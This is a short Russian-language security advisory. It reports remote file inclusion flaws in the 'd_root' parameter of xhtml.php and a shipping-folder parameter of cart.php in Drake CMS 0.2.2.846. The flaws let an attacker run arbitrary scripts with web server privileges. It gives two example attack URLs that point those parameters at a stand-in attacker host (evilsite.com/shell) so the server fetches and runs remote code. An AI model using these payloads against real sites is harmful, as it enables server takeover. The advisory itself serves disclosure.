Программа: Drake CMS 0.2.2.846
Уязвимость позволяет злоумышленнику выполнить произвольный сценарий на целевой системе.
Уязвимость существует из-за ошибки в обработке входных данных в параметре «d_root» сценарием
xhtml.php и в параметре «_saz[settings][shippingfolder]» сценарием
cart.php. Атакующий может выполнить произвольный сценарий с привилегиями запущенного Web сервера.
Пример:
http://[target]/[path]/includes/xhtml.php?d_root=http://evilsite.com/shell?
http://sitename.com/[sazcart PATH]/admin/controls/cart.php?_saz
[settings][shippingfolder]=HTTP://EVILCODE?
